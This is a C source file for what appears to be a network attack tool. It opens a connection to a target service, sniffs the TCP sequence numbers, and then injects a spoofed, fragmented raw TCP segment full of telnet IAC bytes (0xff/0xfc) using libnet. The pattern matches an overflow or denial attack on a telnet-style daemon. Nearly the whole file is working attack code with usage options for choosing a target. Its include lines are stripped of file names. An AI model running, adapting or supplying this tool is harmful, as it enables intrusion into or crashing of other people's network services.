#include #include #include #include #include "packet.h" #include "sniff.h" #include "network.h" extern pthread_mutex_t watch_mutex; extern int watch; extern struct in_addr watch_ipsrc, watch_ipdst; extern unsigned short int watch_sport, watch_dport; extern unsigned long int watch_src_seq, watch_dst_seq; extern unsigned long int watch_src_ack, watch_dst_ack; /* globals */ char * target = "127.0.0.1"; unsigned int target_port = 2000; char * interface = "eth0"; pq_thread * pmain; pthread_t sniff_t; /* prototypes */ void witch_write (unsigned char *data, unsigned long int data_len, unsigned short int frag_size); int watch_connect (char *host, unsigned short int port); void watch_enable (void); void watch_disable (void); void usage (char *progfile) { fprintf (stderr, "usage: %s [-t target] [-i interface]\n\n", progfile); exit (EXIT_FAILURE); } int main (int argc, char *argv[]) { int n; int net; char c; int scount = 5; unsigned char tbuf[8192]; while ((c = getopt (argc, argv, "p:t:i:")) != EOF) { switch (c) { case 'p': target_port = atoi (optarg); break; case 't': target = optarg; break; case 'i': interface = optarg; break; default: usage (argv[0]); } } srandom (time (NULL)); net = watch_connect (target, target_port); watch_enable (); while (scount-- > 0) { write (net, "\xff\xfc", 2); sleep (1); } memset (tbuf, 'A', sizeof (tbuf)); tbuf[sizeof (tbuf) - 1] = '\0'; for (n = 0 ; n < sizeof (tbuf) ; ++n) tbuf[n] = n % 2 ? '\xff' : '\xfc'; witch_write (tbuf, sizeof (tbuf), 768); // witch_write (tbuf, 1200, 512); fprintf (stderr, "send\n"); sleep (20); close (net); exit (EXIT_SUCCESS); } /* will write the data in one big tcp fragment. then tear down the connection, * since it would get fucked over by the local host anyway (which does not * know about the packets we send). idea by dvorak btw */ void witch_write (unsigned char *data, unsigned long int data_len, unsigned short int frag_size) { int frag_no; unsigned short int frag_ofs; unsigned long int this_len; /* this fragments length */ unsigned char tcpbuf[65536]; unsigned char pbuf[2048]; /* packet buffer */ unsigned char * tp; unsigned long int tp_len; unsigned short int tp_id = random () & 0xffff; int rawsock, rawlen; /* first, disable tcp parsing, to not confuse it */ watch_disable (); memset (tcpbuf, '\0', sizeof (tcpbuf)); if ((data_len > (sizeof (tcpbuf) - TCP_H - IP_H)) || frag_size > (sizeof (pbuf) - IP_H)) { fprintf (stderr, "packet size exceeded\n"); exit (EXIT_FAILURE); } /* XXX/FIXME: watch_dst_seq is used, but it should be * watch_dst_seq + length-of-last-send-packet-by-target-host * XXX: so it only works if the last packet by the target was a simple * no-data packet */ libnet_build_tcp (watch_sport, watch_dport, watch_dst_ack, /* ack # is next seq # */ watch_dst_seq, /* acknowledge what it send (hopefully nothing) */ TH_ACK | TH_FIN | TH_PUSH, 16384, /* window size */ 0, /* no urgent data */ data, data_len, tcpbuf + IP_H); libnet_build_ip (data_len + TCP_H, /* length w/o header */ 0, tp_id, 0, 128, /* TTL */ IPPROTO_TCP, /* enclosed payload */ watch_ipsrc.s_addr, watch_ipdst.s_addr, tcpbuf + IP_H, data_len + TCP_H, tcpbuf); /* calculate checksum and slide buffer so we only have the proper * tcp packet left */ libnet_do_checksum (tcpbuf, IPPROTO_TCP, TCP_H + data_len); memmove (tcpbuf, tcpbuf + IP_H, TCP_H + data_len); tp = tcpbuf; tp_len = TCP_H + data_len; frag_size &= ~0x03; /* align downwards on an 8 byte boundary */ frag_no = 0; frag_ofs = 0; /* write it out */ rawsock = libnet_open_raw_sock (IPPROTO_RAW); if (rawsock == -1) { perror ("libnet_open_raw_sock"); exit (EXIT_FAILURE); } while (tp_len > 0) { this_len = frag_size < tp_len ? frag_size : tp_len; tp_len -= this_len; memset (pbuf, '\0', sizeof (pbuf)); /* construct one fragment */ libnet_build_ip (this_len, /* length w/o header */ 0, /* no special TOS */ tp_id, /* random ID */ (tp_len > 0 ? IP_MF : 0) | /* more fragments to come ? */ ((frag_ofs >> 3) & IP_OFFMASK), /* fragmentation offset */ 128, /* TTL */ IPPROTO_TCP, /* enclosed payload */ watch_ipsrc.s_addr, watch_ipdst.s_addr, tp, this_len, pbuf); libnet_do_checksum (pbuf, IPPROTO_IP, IP_H); rawlen = libnet_write_ip (rawsock, pbuf, IP_H + this_len); if (rawlen != IP_H + this_len) { perror ("libnet_write_ip"); exit (EXIT_FAILURE); } /* sleep to let the packet reach its target */ fprintf (stderr, "%2d: 0x%04hx (%5lu) - %5lu left\n", frag_no, frag_ofs, this_len, tp_len); usleep (500000); /* align for next fragment */ tp += this_len; frag_no += 1; frag_ofs += this_len; } close (rawsock); } void watch_enable (void) { pthread_mutex_lock (&watch_mutex); watch = 1; pthread_mutex_unlock (&watch_mutex); } void watch_disable (void) { pthread_mutex_lock (&watch_mutex); watch = 0; pthread_mutex_unlock (&watch_mutex); } int watch_connect (char *host, unsigned short int port) { int sock; char * ip_pr; sock = net_connect (NULL, host, port, NULL, 0, 20); pthread_mutex_lock (&watch_mutex); if (net_addrpair (sock , &watch_ipsrc, &watch_sport, &watch_ipdst, &watch_dport)) { perror ("address pair on connection"); exit (EXIT_FAILURE); } pthread_mutex_unlock (&watch_mutex); net_printipa (&watch_ipsrc, &ip_pr); printf ("%s:%hu <-> ", ip_pr, watch_sport); free (ip_pr); net_printipa (&watch_ipdst, &ip_pr); printf ("%s:%hu\n", ip_pr, watch_dport); free (ip_pr); pmain = pq_create (); if (pmain == NULL) { fprintf (stderr, "failed to create packetizer thread\n"); exit (EXIT_FAILURE); } if (sniff_new (&sniff_t, interface, pmain)) { fprintf (stderr, "failed to create sniffing thread\n"); exit (EXIT_FAILURE); } return (sock); }